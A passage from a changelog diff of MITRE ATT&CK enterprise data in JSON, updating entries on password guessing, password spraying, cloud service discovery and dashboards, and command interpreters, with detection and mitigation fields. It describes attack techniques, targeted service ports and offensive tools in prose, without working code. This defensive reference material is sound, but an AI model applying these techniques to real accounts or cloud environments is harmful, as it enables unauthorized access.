since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-03-30 21:01:48.643000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}, \"root['x_mitre_platforms'][4]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Azure AD\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][5]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:38:22.617000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Password Guessing", + "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110/001", + "external_id": "T1110.001" + }, + { + "source_name": "Trend Micro Emotet 2020", + "description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.", + "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi" + }, + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + }, + { + "source_name": "US-CERT TA18-068A 2018", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Mohamed Kmal" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-10-16 16:57:41.743000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}, \"root['x_mitre_platforms'][7]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][8]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\"}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:39:25.122000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Password Spraying", + "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110/003", + "external_id": "T1110.003" + }, + { + "source_name": "Trimarc Detecting Password Spraying", + "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.", + "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing" + }, + { + "source_name": "BlackHillsInfosec Password Spraying", + "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.", + "url": "http://www.blackhillsinfosec.com/?p=4645" + }, + { + "source_name": "US-CERT TA18-068A 2018", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "John Strand" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-03-07 14:33:34.201000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}, \"root['x_mitre_platforms'][7]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][8]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\"}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 18:11:24.582000+00:00", + "modified": "2024-10-15 15:51:56.279000+00:00", + "name": "Cloud Service Dashboard", + "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1538", + "external_id": "T1538" + }, + { + "source_name": "AWS Console Sign-in Events", + "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.", + "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html" + }, + { + "source_name": "Google Command Center Dashboard", + "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.", + "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Obsidian Security" + ], + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "User Account: User Account Authentication" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:51:56.279000+00:00\", \"old_value\": \"2024-04-19 04:25:33.300000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][2]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Office 365\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 13:01:10.120000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Cloud Service Discovery", + "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1526", + "external_id": "T1526" + }, + { + "source_name": "Azure AD Graph API", + "description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview" + }, + { + "source_name": "Azure - Resource Manager API", + "description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.", + "url": "https://docs.microsoft.com/en-us/rest/api/resources/" + }, + { + "source_name": "Azure - Stormspotter", + "description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.", + "url": "https://github.com/Azure/Stormspotter" + }, + { + "source_name": "GitHub Pacu", + "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", + "url": "https://github.com/RhinoSecurityLabs/pacu" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Suzy Schapperle - Microsoft Azure Red Team", + "Praetorian", + "Thanabodi Phrakhun, I-SECURE", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Enumeration", + "Logon Session: Logon Session Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-05-04 18:01:44.086000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\\n\\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\\n\\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\\n\\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).\", \"old_value\": \"An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\\n\\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\\n\\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\\n\\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\\n+An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\\n \\n-Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\\n+Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\\n \\n For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][3]\": \"Arun Seelagan, CISA\", \"root['x_mitre_data_sources'][1]\": \"Logon Session: Logon Session Creation\", \"root['x_mitre_platforms'][2]\": \"Office Suite\", \"root['x_mitre_platforms'][3]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Office 365\", \"root['x_mitre_platforms'][4]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may attempt to enumerate the cloud services runt1An adversary may attempt to enumerate the cloud services run
>ning on a system after gaining access. These methods can dif>ning on a system after gaining access. These methods can dif
>fer from platform-as-a-service (PaaS), to infrastructure-as->fer from platform-as-a-service (PaaS), to infrastructure-as-
>a-service (IaaS), or software-as-a-service (SaaS). Many serv>a-service (IaaS), or software-as-a-service (SaaS). Many serv
>ices exist throughout the various cloud providers and can in>ices exist throughout the various cloud providers and can in
>clude Continuous Integration and Continuous Delivery (CI/CD)>clude Continuous Integration and Continuous Delivery (CI/CD)
>, Lambda Functions, Azure AD, etc. They may also include sec>, Lambda Functions, Entra ID, etc. They may also include sec
>urity services, such as AWS GuardDuty and Microsoft Defender>urity services, such as AWS GuardDuty and Microsoft Defender
> for Cloud, and logging services, such as AWS CloudTrail and> for Cloud, and logging services, such as AWS CloudTrail and
> Google Cloud Audit Logs.  Adversaries may attempt to discov> Google Cloud Audit Logs.  Adversaries may attempt to discov
>er information about the services enabled throughout the env>er information about the services enabled throughout the env
>ironment. Azure tools and APIs, such as the Azure AD Graph A>ironment. Azure tools and APIs, such as the Microsoft Graph 
>PI and Azure Resource Manager API, can enumerate resources a>API and Azure Resource Manager API, can enumerate resources 
>nd services, including applications, management groups, reso>and services, including applications, management groups, res
>urces and policy definitions, and their relationships that a>ources and policy definitions, and their relationships that 
>re accessible by an identity.(Citation: Azure - Resource Man>are accessible by an identity.(Citation: Azure - Resource Ma
>ager API)(Citation: Azure AD Graph API)  For example, Storms>nager API)(Citation: Azure AD Graph API)  For example, Storm
>potter is an open source tool for enumerating and constructi>spotter is an open source tool for enumerating and construct
>ng a graph for Azure resources and services, and Pacu is an >ing a graph for Azure resources and services, and Pacu is an
>open source AWS exploitation framework that supports several> open source AWS exploitation framework that supports severa
> methods for discovering cloud services.(Citation: Azure - S>l methods for discovering cloud services.(Citation: Azure - 
>tormspotter)(Citation: GitHub Pacu)  Adversaries may use the>Stormspotter)(Citation: GitHub Pacu)  Adversaries may use th
> information gained to shape follow-on behaviors, such as ta>e information gained to shape follow-on behaviors, such as t
>rgeting data or credentials from enumerated services or evad>argeting data or credentials from enumerated services or eva
>ing identified defenses through [Disable or Modify Tools](ht>ding identified defenses through [Disable or Modify Tools](h
>tps://attack.mitre.org/techniques/T1562/001) or [Disable or >ttps://attack.mitre.org/techniques/T1562/001) or [Disable or
>Modify Cloud Logs](https://attack.mitre.org/techniques/T1562> Modify Cloud Logs](https://attack.mitre.org/techniques/T156
>/008).>2/008).
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0025: Cloud Service (Cloud Service Enumeration)" + ], + "new": [ + "DS0028: Logon Session (Logon Session Creation)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:49.546000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Command and Scripting Interpreter", + "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059", + "external_id": "T1059" + }, + { + "source_name": "Remote Shell Execution in Python", + "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.", + "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Command History", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23" + }, + { + "source_name": "Powershell Remote Commands", + "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.", + "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Script: Script Execution", + "Process: Process Creation", + "Process: Process Metadata", + "Module: Module Load", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "2.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-03-27 16:43:58.795000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", 